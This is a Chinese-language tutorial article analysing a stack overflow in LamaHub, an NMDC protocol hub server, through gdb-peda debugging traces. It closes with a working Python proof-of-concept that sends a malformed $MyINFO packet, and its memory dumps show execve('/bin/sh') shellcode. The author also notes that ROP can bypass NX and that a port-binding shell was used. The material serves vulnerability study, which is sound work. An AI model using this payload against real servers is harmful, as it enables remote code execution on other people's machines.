频道栏目
首页 > 资讯 > 网络安全 > 正文

从NMDC看简单协议漏洞分析

16-10-13        来源:[db:作者]  
收藏   我要投稿

前言

协议漏洞一直是一个比较有趣的话题,比如之前二哥在乌云提交的QQ游戏客户端的伪协议漏洞,比如GeekPwn上的TCP协议栈漏洞,比如后来NSA泄露的思科SNMP的远程代码执行,都是各种不同类型的协议漏洞,其实很多著名的协议都存在漏洞而且网上都有对应的漏洞分析。其实无论是对于协议漏洞的挖掘,分析,利用,都需要对协议数据包的构成,处理协议的客户端/服务端等等有所了解。

当然今天我做的这个分享是最近我看到的一个比较偏门的协议----NMDC协议的远程代码执行,之所以会选择这个协议,是在我调试这个协议漏洞的过程中,发现这个协议从数据包构造,漏洞成因,服务端分析来看都相对简化易懂,非常适合和我一样对协议漏洞感兴趣或者刚刚入门的小伙伴一起学习,因此分享出来和大家一起交流!有不当之处还望多多包含,多多指正!

先看看SNMP协议

在分析这个NMDC协议之前,想先和大家一起来看看前端时间泄露的思科SNMP协议漏洞,其实在安全客有一篇文章[揭开思科ASA防火墙网络军火的面纱]对于这个协议漏洞已经进行了详细的分析,这里再次提到这个漏洞,是因为想和大家再次回顾一下这个漏洞的数据包构造,因为实际上对于一个协议服务端漏洞,是需要了解协议数据包的结构,才能针对具体的结构构造特殊的参数来挖掘,复现漏洞场景。

首先搭建一个简单的思科防火墙环境,然后利用Exploit完成利用。

 

 

通过wireshark抓包,观察这个SNMP协议包。

 

 

可以看到,在SNMP协议包里包含了getBulkRequest字段,这个字段是SNMPv2之后加入的新的PDU,该PDU是用来有效检索块中数据,加快交互效率用的。问题就出现在这个PDU中。

仔细分析SNMP协议,可以看到其中包括了版本号,应答方ID等信息,其中variable-bindings的value值中包含了溢出的payload,在思科防火墙的lina中处理这个数据包时,会引发一个缓冲区溢出。

其实看完这篇分析的文章,可以想到在进行协议分析的时候,对协议数据包的构造,每个指令包含的内容是对协议漏洞分析一个必不可少的环节,接下来通过相对复杂的SNMP协议,来看一下文章的主角NMDC协议。
[page]

NMDC简单协议

NMDC协议主要负责的是P2P客户端服务器交互的一种文件共享协议,用于实现Client和Hub之间的交互,其中,NMDC提供了很多交互的指令,在服务端会识别这些指令做出相应的回应。这里列举一些交互的指令功能。

Hub端:

$Lock

指令格式:$Lock Pk=

|

主要用于刚刚建立连接的时候,确认当前客户端连接当前的服务端,可以理解为确认连接的唯一性。

$GetPass

指令格式:$GetPass|

主要用于向客户端发送消息,要求客户端提供密码。

$LogedIn

指令格式:$LogedIn |

主要用于登陆成功后告知客户端,同时发送的内容有该客户端的用户名。

Client端:

$Supports:

指令格式:$Supports ... |

主要用于声明NMDC支持的协议扩展。

$ValidateNick :

指令格式:$ValidateNick |

主要用于确认当前可使用的用户名。

$MyPass:

指令格式:$MyPass

|

主要用于在接收到服务端的请求指令后,向服务端发送密码。

$GetNickList:

指令格式:$GetNickList|

主要用于向服务端请求当前的用户名列表。

$MyINFO :

指令格式:$MyINFO $ALL $ $$$$|

用于向服务端提供当前客户端的信息,而问题就出现在这里面。

来看一下一个简单的Client和Hub交互的图解:

 

 

这次的协议漏洞的问题就出现在$MyINFO中,通过构造特殊的$MyINFO的指令发送给Hub端,在Hub端处理$MyINFO指令参数的时候,会引发一个简单的栈溢出,文章的主角LamaHub就是这样一个处理NMDC协议的Hub端,它在解析MyINFO的指令的时候,会由于memcpy函数没有对长度进行限制,导致栈溢出。在阅读了NMDC指令格式之后可以来看一下NMDC发送的数据包。首先是TCP握手:

 

 

紧接着会进入之前提到的交互部分,会实现NMDC协议握手的过程,来看一下完整的交互包。

 

 

可以看到实际上在NMDC握手的时候,就包含了交互需要的一些指令,通过“ | ”连接,那么实际上可以猜测LamaHub在处理NMDC协议的时候的一个处理流程。

 

 

了解了指令格式,以及Client和Hub的交互过程,在下一节的漏洞分析的过程中,可以很清晰的看到这个交互过程LamaHub都做了些什么工作,以及最后为什么会引发缓冲区溢出。
[page]

从NMDC到LamaHub漏洞

LamaHub是NMDC协议的一个服务端,在LamaHub服务器处理客户端请求的时候,通过构造特殊的NMDC协议数据包,可以导致LamaHub在处理$MyINFO指令请求的时候产生缓冲区溢出,从而远程执行任意代码,下面对此漏洞进行分析。

首先部署LamaHub,用gdb attach,运行PoC,服务端崩溃,可以查看崩溃时的信息。

gdb-peda$ run

Starting program: /root/Desktop/0.0.6.2/server

> ERROR -> Plugin -> File plugins.conf dont found

> init () -> OK

> started on port -> 4111

> new client -> 127.0.0.1 -> 4

Program received signal SIGSEGV, Segmentation fault.

[----------------------------------registers-----------------------------------]

EAX: 0x1

EBX: 0x2c2c2c2c (',,,,')

ECX: 0x0

EDX: 0x5

ESI: 0x2c2c2c2c (',,,,')

EDI: 0x2c2c2c2c (',,,,')

EBP: 0x2c2c2c2c (',,,,')

ESP: 0xbffff2c0 --> 0x80626d6 --> 0x0

EIP: 0x8066a2a ("idateNick Pierre|$Ven 1,0091|$G\001")

EFLAGS: 0x10286 (carry PARITY adjust zero SIGN trap INTERRUPT direction overflow)

[-------------------------------------code-------------------------------------]

0x8066a27 :push esi

0x8066a28 :popa

0x8066a29 :ins BYTE PTR es:[edi],dx

=> 0x8066a2a :imul esp,DWORD PTR [ecx+eiz*2+0x74],0x63694e65

0x8066a32 :imul esp,DWORD PTR [eax],0x50

0x8066a35 :imul esp,DWORD PTR [ebp+0x72],0x247c6572

0x8066a3c :push esi

0x8066a3d :outs dx,BYTE PTR gs:[esi]

[------------------------------------stack-------------------------------------]

0000| 0xbffff2c0 --> 0x80626d6 --> 0x0

0004| 0xbffff2c4 --> 0xb1b1b1b1

0008| 0xbffff2c8 --> 0xb1b1b1b1

0012| 0xbffff2cc --> 0xb1b1b1b1

0016| 0xbffff2d0 ("770,INFO$\312\312\312\312 ZPe0 |\b\363\377\277")

0020| 0xbffff2d4 ("INFO$\312\312\312\312 ZPe0 |\b\363\377\277")

0024| 0xbffff2d8 --> 0xcacaca24

0028| 0xbffff2dc --> 0x505a20ca

[------------------------------------------------------------------------------]

Legend: code, data, rodata, value

Stopped reason: SIGSEGV

0x08066a2a in buf ()

可以看到,此时程序处于08066a2a地址位置,通过PoC,此时是处于返回地址eip部署的恶意地址,这个是PoC给出的,根据系统可以修改eip地址使其跳转到shellcode,通过bt查看一下堆栈回溯。

gdb-peda$ bt

#0 0x08066a2a in buf ()

#1 0x080626d6 in buf ()

#2 0xb1b1b1b1 in ?? ()

#3 0xb1b1b1b1 in ?? ()

Backtrace stopped: previous frame inner to this frame (corrupt stack?)

由于NMDC数据包构造的原因,后续堆栈已经被畸形payload覆盖,导致回溯失败,通过正向分析可以找到这个漏洞的成因。

通过IDA pro分析可以找到两处recv,在LamaHub接收数据的时候势必会调用recv函数,在这两处recv下断点。

gdb-peda$ b *0x08052ef7

Breakpoint 1 at 0x8052ef7

gdb-peda$ r

Starting program: /root/Desktop/0.0.6.2/server

> init () -> OK

> started on port -> 4111

> new client -> 127.0.0.1 -> 4

[----------------------------------registers-----------------------------------]

EAX: 0x4

EBX: 0x806c610 --> 0x80670c0 (0x0806c610)

ECX: 0x4

EDX: 0x10

ESI: 0x0

EDI: 0x0

EBP: 0xbffff438 --> 0x0

ESP: 0xbffff3f0 --> 0x4

EIP: 0x8052ef7 (:call 0x8049210 )

EFLAGS: 0x203 (CARRY parity adjust zero sign trap INTERRUPT direction overflow)

[-------------------------------------code-------------------------------------]

0x8052eea :push 0x8066a00

0x8052eef :push ecx

0x8052ef0 :mov BYTE PTR ds:0x8066a00,0x0

=> 0x8052ef7 :call 0x8049210

0x8052efc :add esp,0x10

0x8052eff :test eax,eax

0x8052f01 :mov ds:0x8062b04,eax

0x8052f06 :je 0x8052f40

Guessed arguments:

arg[0]: 0x4

arg[1]: 0x8066a00 --> 0x0

arg[2]: 0x3ff

arg[3]: 0x0

发送payload后,程序命中了一处断点,之后单步步过。

gdb-peda$ n

[----------------------------------registers-----------------------------------]

EAX: 0x1b1

EBX: 0x806c610 --> 0x80670c0 (0x0806c610)

ECX: 0xbffff3f0 --> 0x4

EDX: 0x806c610 --> 0x80670c0 (0x0806c610)

ESI: 0x0

EDI: 0x0

EBP: 0xbffff438 --> 0x0

ESP: 0xbffff3f0 --> 0x4

EIP: 0x8052efc (:add esp,0x10)

EFLAGS: 0x217 (CARRY PARITY ADJUST zero sign trap INTERRUPT direction overflow)

[-------------------------------------code-------------------------------------]

0x8052eef :push ecx

0x8052ef0 :mov BYTE PTR ds:0x8066a00,0x0

0x8052ef7 :call 0x8049210

=> 0x8052efc :add esp,0x10

0x8052eff :test eax,eax

0x8052f01 :mov ds:0x8062b04,eax

0x8052f06 :je 0x8052f40

0x8052f08 :mov BYTE PTR [eax+0x8066a00],0x0

Legend: code, data, rodata, value

0x08052efc in loop ()

可以看到,此时堆0x08066a00位置接收了数据包并且进行了保存,查看一下这个堆中的内容。

gdb-peda$ x/100x 0x08066a00

0x8066a00 :0x707553240x74726f700x735520730x206f6c6c

0x8066a10 :0x203250490x637261650x505a20680x7c203065

0x8066a20 :0x79654b240x56247c610x64696c610x4e657461

0x8066a30 :0x206b63690x726569500x247c65720x206e6556

0x8066a40 :0x30302c310x247c31390x4e0001470x4c6b633b

0x8066a50 :0x7c7473690x49794d240x204f464e0x4c4c4124

0x8066a60 :0x656950200x206572720x9090654a0x90909090

0x8066a70 :0x909090900x909090900x909090900x90909090

0x8066a80 :0x909090900x909090900x6850c0310x68732f2f

0x8066a90 :0x69622f680x31e3896e0x6aca89c90x80cd580b

0x8066aa0 :0x909090900x909090900x909090900x90909090

0x8066ab0 :0x909090900x909090900x909090900x90909090

0x8066ac0 :0x909090900x909090900x3c6190900x794d243c

0x8066ad0 :0x243500800x302469700x373737240x37373737

0x8066ae0 :0x373737370xb1b1b1370xb1b1b1b10xb1b1b1b1

畸形数据已经全被被接收了,接下来单步跟踪。在接收到数据之后,会到达一处调用,地址为0x8052e82的call parse_token,这个主要是负责验证逻辑。

gdb-peda$ n

[----------------------------------registers-----------------------------------]

EAX: 0x1b1

EBX: 0x806c610 --> 0x80670c0 (0x0806c610)

ECX: 0xbffff3f0 --> 0x806c610 --> 0x80670c0 (0x0806c610)

EDX: 0x806c610 --> 0x80670c0 (0x0806c610)

ESI: 0x0

EDI: 0x0

EBP: 0xbffff438 --> 0x0

ESP: 0xbffff3f0 --> 0x806c610 --> 0x80670c0 (0x0806c610)

EIP: 0x8052e82 (:call 0x8050cf0

)

EFLAGS: 0x296 (carry PARITY ADJUST zero SIGN trap INTERRUPT direction overflow)

[-------------------------------------code-------------------------------------]

0x8052e7b :push eax

0x8052e7c :push 0x8066a00

0x8052e81 :push ebx

=> 0x8052e82 :call 0x8050cf0

0x8052e87 :add esp,0x10

0x8052e8a :cmp eax,0xffffffff

0x8052e8d :je 0x8052f4c

0x8052e93 :sub esp,0xc

Guessed arguments:

arg[0]: 0x806c610 --> 0x80670c0 (0x0806c610)

arg[1]: 0x8066a00 ("$Supports Usllo IP2 earch ZPe0 |$Keya|$ValidateNick Pierre|$Ven 1,0091|$G\001")

arg[2]: 0x1b1

可以看到这处验证逻辑第二个参数就是畸形payload,接下来分析这处验证逻辑。通过IDA pro查看一下这个函数伪代码。

int __cdecl parse_token(void *a1, char *src, size_t a3)

{

……省略部分代码

LABEL_19:

v11 = v3;

*(&token_buf + n) = 0;

result = proto_state_handler(a1, &token_buf, n);

v3 = v11;

if ( result == -1 )

return -1;

goto LABEL_12;

}

}

else if ( !(n & 1) )

{

goto LABEL_19;

}

v8[v10] = v9[v10];

goto LABEL_19;

}

return result;

}

在LABEL_19块中,调用了一个函数proto_state_handler,主要是负责处理协议句柄的,其中涉及到一个token_buf,单步跟踪观察这个proto_state_handler函数调用的传参情况。注意看stack栈中的情况。

[----------------------------------registers-----------------------------------]

EAX: 0x20 (' ')

EBX: 0x0

ECX: 0x0

EDX: 0x1b1

ESI: 0x8066a20 ("$Keya|$ValidateNick Pierre|$Ven 1,0091|$G\001")

EDI: 0x8062720 --> 0x0

EBP: 0x8066a00 ("$Supports Usllo IP2 earch ZPe0 |$Keya|$ValidateNick Pierre|$Ven 1,0091|$G\001")

ESP: 0xbffff3a0 --> 0x806c610 --> 0x80670c0 (0x0806c610)

EIP: 0x8050ddb (

:call 0x80551b0

)

EFLAGS: 0x296 (carry PARITY ADJUST zero SIGN trap INTERRUPT direction overflow)

[-------------------------------------code-------------------------------------]

0x8050dcb

:push 0x8062700

0x8050dd0

:push DWORD PTR [esp+0x24]

0x8050dd4

:mov BYTE PTR [eax+0x8062700],0x0

=> 0x8050ddb

:call 0x80551b0

0x8050de0

:add esp,0x10

0x8050de3

:cmp eax,0xffffffff

0x8050de6

:mov edx,DWORD PTR [esp+0x1c]

0x8050dea

:jne 0x8050d78

No argument

[------------------------------------stack-------------------------------------]

0000| 0xbffff3a0 --> 0x806c610 --> 0x80670c0 (0x0806c610)

0004| 0xbffff3a4 --> 0x8062700 ("$Supports Usllo IP2 earch ZPe0 |")

这个token_buf的内容是$Supports,其实这个主要是NDMC的协议处理,而在parse_token的开始部分,会先处理这个数据包,将数据包内容拆分。接下来直接执行,会第二次到达断点。

[-------------------------------------code-------------------------------------]

0x8050dcb

:push 0x8062700

0x8050dd0

:push DWORD PTR [esp+0x24]

0x8050dd4

:mov BYTE PTR [eax+0x8062700],0x0

=> 0x8050ddb

:call 0x80551b0

0x8050de0

:add esp,0x10

0x8050de3

:cmp eax,0xffffffff

0x8050de6

:mov edx,DWORD PTR [esp+0x1c]

0x8050dea

:jne 0x8050d78

No argument

[------------------------------------stack-------------------------------------]

0000| 0xbffff3a0 --> 0x806c610 --> 0x80670c0 (0x0806c610)

0004| 0xbffff3a4 --> 0x8062700 ("$Keya|")

继续执行,第三次命中

[-------------------------------------code-------------------------------------]

0x8050dcb

:push 0x8062700

0x8050dd0

:push DWORD PTR [esp+0x24]

0x8050dd4

:mov BYTE PTR [eax+0x8062700],0x0

=> 0x8050ddb

:call 0x80551b0

0x8050de0

:add esp,0x10

0x8050de3

:cmp eax,0xffffffff

0x8050de6

:mov edx,DWORD PTR [esp+0x1c]

0x8050dea

:jne 0x8050d78

No argument

[------------------------------------stack-------------------------------------]

0000| 0xbffff3a0 --> 0x806c610 --> 0x80670c0 (0x0806c610)

0004| 0xbffff3a4 --> 0x8062700 ("$ValidateNick Pierre|")

可以看到每次都获取到|分割线后的内容,接下来直接执行到包含畸形字符串的部分。

[-------------------------------------code-------------------------------------]

0x8050dcb

:push 0x8062700

0x8050dd0

:push DWORD PTR [esp+0x24]

0x8050dd4

:mov BYTE PTR [eax+0x8062700],0x0

=> 0x8050ddb

:call 0x80551b0

0x8050de0

:add esp,0x10

0x8050de3

:cmp eax,0xffffffff

0x8050de6

:mov edx,DWORD PTR [esp+0x1c]

0x8050dea

:jne 0x8050d78

No argument

[------------------------------------stack-------------------------------------]

0000| 0xbffff3a0 --> 0x806c610 --> 0x80670c0 (0x0806c610)

0004| 0xbffff3a4 --> 0x8062700 ("$MyINFO $ALL Pierre Je", '\220' , "\061\300Ph//shh/bin\211\343\061?\312j\vX?", '\220' , "a

0008| 0xbffff3a8 --> 0x144

0012| 0xbffff3ac --> 0x0

0016| 0xbffff3b0 --> 0xbffff438 --> 0x0

0020| 0xbffff3b4 --> 0xb7de16b8 --> 0x1785

0024| 0xbffff3b8 --> 0x79 ('y')

0028| 0xbffff3bc --> 0x197

[------------------------------------------------------------------------------]

第二个参数作为畸形字符串传入,其中涉及到指令$MyINFO,就从这里跟入看看函数内部到底发生了什么。

int proto_state_handler (user_t *u, char *data, unsigned int len)

{

switch (u->state) {

case PROTO_STATE_INIT:// new user connected

return proto_nmdc_state_init (u);

case PROTO_STATE_SENDLOCK:// waiting for user $Key

return proto_nmdc_state_sendlock (u, data, len);

case PROTO_STATE_WAITNICK:// waiting for user $ValidateNick

return proto_nmdc_state_waitnick (u, data, len);

case PROTO_STATE_WAITPASS:// waiting for user $GetPass

return proto_nmdc_state_waitpass (u, data, len);

case PROTO_STATE_HELLO:// waiting for user $MyINFO

return proto_nmdc_state_hello (u, data, len);

case PROTO_STATE_ONLINE:// user is avaible now

return proto_nmdc_state_online (u, data, len);

case PROTO_STATE_DISCONNECTED:// user gone out $Quit

return proto_nmdc_state_disconnect (u);

}

进入后会到达一处switch逻辑,这个switch会根据user_t的类型进行判断,根据情况进行处理,在$MyINFO会进入proto_nmdc_state_hello函数。

gdb-peda$ n

[----------------------------------registers-----------------------------------]

EAX: 0x4

EBX: 0x806c610 --> 0x80670c0 (0x0806c610)

ECX: 0x0

EDX: 0x1b1

ESI: 0x8066b98 ("$Keya|$V A 0a|$Vick Pi\312\312\n")

EDI: 0x8062844 --> 0x0

EBP: 0x8066a54 ("$MyINFO $ALL Pierre Je", '\220' , "\061\300Ph//shh/bin\211\343\061?\312j\vX?", '\220' , "a

ESP: 0xbffff2c0 --> 0x806c610 --> 0x80670c0 (0x0806c610)

EIP: 0x805534a (

:call 0x80539e0

)

EFLAGS: 0x296 (carry PARITY ADJUST zero SIGN trap INTERRUPT direction overflow)

[-------------------------------------code-------------------------------------]

0x805533b

:push DWORD PTR [esp+0xdc]

0x8055342

:push DWORD PTR [esp+0xdc]

0x8055349

:push ebx

=> 0x805534a

:call 0x80539e0

0x805534f

:add esp,0x10

0x8055352

:add esp,0xc0

0x8055358

:pop ebx

0x8055359

:pop esi

Guessed arguments:

arg[0]: 0x806c610 --> 0x80670c0 (0x0806c610)

arg[1]: 0x8062700 ("$MyINFO $ALL Pierre Je", '\220' , "\061\300Ph//shh/bin\211\343\061?\312j\vX?", '\220' , "a

arg[2]: 0x144

进入之后会根据$MyINFO内部的内容进行一些处理。比如

gdb-peda$ n

[----------------------------------registers-----------------------------------]

EAX: 0x13

EBX: 0x8062700 ("$MyINFO $ALL Pierre Je", '\220' , "\061\300Ph//shh/bin\211\343\061?\312j\vX?", '\220' , "a

ECX: 0x7

EDX: 0x6

ESI: 0x8062702 ("yINFO $ALL Pierre Je", '\220' , "\061\300Ph//shh/bin\211\343\061?\312j\vX?", '\220' , "a

EDI: 0x805ac4b ("$MyINFO")

EBP: 0x0

ESP: 0xbfffefc0 --> 0xbffff000 --> 0xfbad8001

EIP: 0x8053a3d (

:mov esi,ebx)

EFLAGS: 0x202 (carry parity adjust zero sign trap INTERRUPT direction overflow)

[-------------------------------------code-------------------------------------]

0x8053a2d

:jbe 0x8053d20

0x8053a33

:mov ecx,0x7

0x8053a38

:mov edi,0x805ac4b

=> 0x8053a3d

:mov esi,ebx

0x8053a3f

:repz cmps BYTE PTR ds:[esi],BYTE PTR es:[edi]

0x8053a41

:seta cl

0x8053a44

:setb al

0x8053a47

:sub ecx,eax

gdb-peda$ n

[----------------------------------registers-----------------------------------]

EAX: 0x13

EBX: 0x8062700 ("$MyINFO $ALL Pierre Je", '\220' , "\061\300Ph//shh/bin\211\343\061?\312j\vX?", '\220' , "a

ECX: 0x7

EDX: 0x6

ESI: 0x8062700 ("$MyINFO $ALL Pierre Je", '\220' , "\061\300Ph//shh/bin\211\343\061?\312j\vX?", '\220' , "a

EDI: 0x805ac4b ("$MyINFO")

EBP: 0x0

ESP: 0xbfffefc0 --> 0xbffff000 --> 0xfbad8001

EIP: 0x8053a3f (

:repz cmps BYTE PTR ds:[esi],BYTE PTR es:[edi])

EFLAGS: 0x202 (carry parity adjust zero sign trap INTERRUPT direction overflow)

[-------------------------------------code-------------------------------------]

0x8053a33

:mov ecx,0x7

0x8053a38

:mov edi,0x805ac4b

0x8053a3d

:mov esi,ebx

=> 0x8053a3f

:repz cmps BYTE PTR ds:[esi],BYTE PTR es:[edi]

0x8053a41

:seta cl

0x8053a44

:setb al

0x8053a47

:sub ecx,eax

0x8053a49

:movsx ebp,cl

Legend: code, data, rodata, value

0x08053a3f in proto_nmdc_state_hello ()

上述代码部分对$MyINFO中的$Hello Pierre后的指令进行处理,在后面会对这个内容进行拷贝。接下来会进入漏洞触发的关键部分。

gdb-peda$ c

Continuing.

[----------------------------------registers-----------------------------------]

EAX: 0x806c320 --> 0x80670c0 (0x0806c320)

EBX: 0x8062700 ("$MyINFO $ALL Pierre Je", '\220' , "\061\300Ph//shh/bin\211\343\061?\312j\vX?", '\220' , "a

ECX: 0xb7e65000 (:mov DWORD PTR [edi],edx)

EDX: 0x144

ESI: 0xbffff1a0 --> 0xbffff200 --> 0x8048766 ("libc.so.6")

EDI: 0x1

EBP: 0x0

ESP: 0xbfffefb0 --> 0xbffff1a0 --> 0xbffff200 --> 0x8048766 ("libc.so.6")

EIP: 0x8053f77 (

:call 0x8048df0 )

EFLAGS: 0x282 (carry parity adjust zero SIGN trap INTERRUPT direction overflow)

[-------------------------------------code-------------------------------------]

0x8053f6e

:push DWORD PTR [esp+0x30c]

0x8053f75

:push ebx

0x8053f76

:push esi

=> 0x8053f77

:call 0x8048df0

0x8053f7c

:add esp,0xc

0x8053f7f

:push 0x0

0x8053f81

:push 0x8

0x8053f83

:push DWORD PTR [esp+0x30c]

Guessed arguments:

arg[0]: 0xbffff1a0 --> 0xbffff200 --> 0x8048766 ("libc.so.6")

arg[1]: 0x8062700 ("$MyINFO $ALL Pierre Je", '\220' , "\061\300Ph//shh/bin\211\343\061?\312j\vX?", '\220' , "a

arg[2]: 0x144

Breakpoint 6, 0x08053f77 in proto_nmdc_state_hello ()

memcpy会将整个畸形payload考入到缓冲区中,这个过程没有对payload的长度进行检查而是直接拷贝,可以看到从recv开始到memcpy都一直没有进行长度控制,接下来返回时。

[-------------------------------------code-------------------------------------]

0x8053d29

:pop esi

0x8053d2a

:pop edi

0x8053d2b

:pop ebp

=> 0x8053d2c

:ret

0x8053d2d

:lea esi,[esi+0x0]

0x8053d30

:add esp,0x2ec

0x8053d36

:xor ebp,ebp

0x8053d38

:pop ebx

由于缓冲区溢出,导致返回地址被覆盖,到达可控位置。

gdb-peda$ n

[-------------------------------------code-------------------------------------]

0x8066a27 :push esi

0x8066a28 :popa

0x8066a29 :ins BYTE PTR es:[edi],dx

=> 0x8066a2a :imul esp,DWORD PTR [ecx+eiz*2+0x74],0x63694e65

0x8066a32 :imul esp,DWORD PTR [eax],0x50

0x8066a35 :imul esp,DWORD PTR [ebp+0x72],0x247c6572

0x8066a3c :push esi

0x8066a3d :outs dx,BYTE PTR gs:[esi]

PoC构造到Exploit

这里提供一个可以引发崩溃的PoC:

import socket

HOST = '192.168.25.101'

PORT = 4111

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

s.connect((HOST, PORT))

evil_buf = "$Supports Usllo IP2 earch ZPe0 |$Keya|$ValidateNick Pierre|$Ven 1,0091|$GetNickList|$MyINFO $ALL Pierre Je"

evil_buf += "\x41"*120

evil_buf += "\x61\x3c"

evil_buf += "\x3c\x24\x4d\x79\x80\x00\x35\x24\x70\x69\x24\x30"

evil_buf += "\x24\x37\x37\x37\x37\x37\x37\x37\x37\x37\x37\x37"

evil_buf += "\x37\xb1\xb1\xb1\xb1\xb1\xb1\xb1\xb1\xb1\xb1\xb1"

evil_buf += "\xb1\xb1\xb1\xb1\xb1\xb1\xb1\xb1\xb1\xb1\xb1\xb1"

evil_buf += "\xb1\xb1\xb1\xb1\xb1\xb1\xb1\xb1\xb1\xb1\xb1\xb1"

evil_buf += "\xb1\xb1\xb1\xb1\xb1\xb1\xb1\xb1\xb1\xb1\xb1\xb1"

evil_buf += "\xb1\x2c\x2c\x2c\x2c\x2c\x2c\x2c\x2c\x2c\x2c\x2c"

evil_buf += "\x2c\x2c\x2c\x2c\x2c\x2c\x2c\x2c\x2c\x2c\x2c\x2c"

evil_buf += "\x2c\x2c\x2c\x2c\x2c\x2c\x2c\x2c\x2c\x2c\x2c\x2c"

evil_buf += "\x2c\x2c\x2c\x2c\x2c\x2c\x2c\x2c\x2c\x2c\x2c\x2c"

evil_buf += "\x2c\x2c\x2c\x2c\x2c\x2c\x2c\x2c\x2c\x2c\x2c\x2c"

evil_buf += "\x2c\x2c\x2c\x2c\x2c\x2c\x2c\x2c\x2c\x2c\x2c\x2c"

evil_buf += "\x2c\x2c\x2c\x2c\x2c\x2c\x2c\x2c\x2c\x2c\x2c\x2c"

evil_buf += "\x2c\x2c\x2c\x2c\x2c\x2c\x2c\x2c\x41\x41\x41\x41"

evil_buf += "\xd6\x26\x06\x08\xb1\xb1\xb1\xb1\xb1\xb1\xb1\xb1"

evil_buf += "\xb1\xb1\xb1\xb1\x37\x37\x30\x2c\x49\x4e\x46\x4f"

evil_buf += "\x24\xca\xca\xca\xca\x20\x5a\x50\x65\x30\x20"

evil_buf += " |$Keya|"

print "Send eIVL packet!\n"

# Send EVIL PACKET !

s.sendall(evil_buf)

print "Send COmplete!\n"

s.close()

这里可以直接引发崩溃,崩溃位置在evil_buf中的41414141,实际上这个地址就是覆盖的返回地址,修改这个返回地址,并且加上shellcode之后,通过gdb观察,可以看到eip的跳转,但是由于Lamahub开启了NX,导致shellcode无法执行。

 

 

本文主要是分析协议漏洞成因,因此我在编译Lamahub的时候在Makefile加入了-fno-stack-protector -z execstack,关闭Linux下的NX,这样就可以执行shellcode了,那么在实际攻防中,可以利用ROP gadget来绕过NX。另外我刚开始用了pwntools的shellcraft,最后想利用interactive函数来拿shell,但是后来发现shellcraft中有一个badchar /x24,这个badchar不好绕过,利用pwntools最新的encode方法也会提示无法绕过,因此换了一个shellcode,绑定/bin/sh到指定端口,完成利用。

 

相关TAG标签
上一篇:使用快手直播伴侣的方法技巧
下一篇:升级主板bios的步骤
相关文章
图文推荐

关于我们 | 联系我们 | 广告服务 | 投资合作 | 版权申明 | 在线帮助 | 网站地图 | 作品发布 | Vip技术培训 | 举报中心

版权所有: 红黑联盟--致力于做实用的IT技术学习网站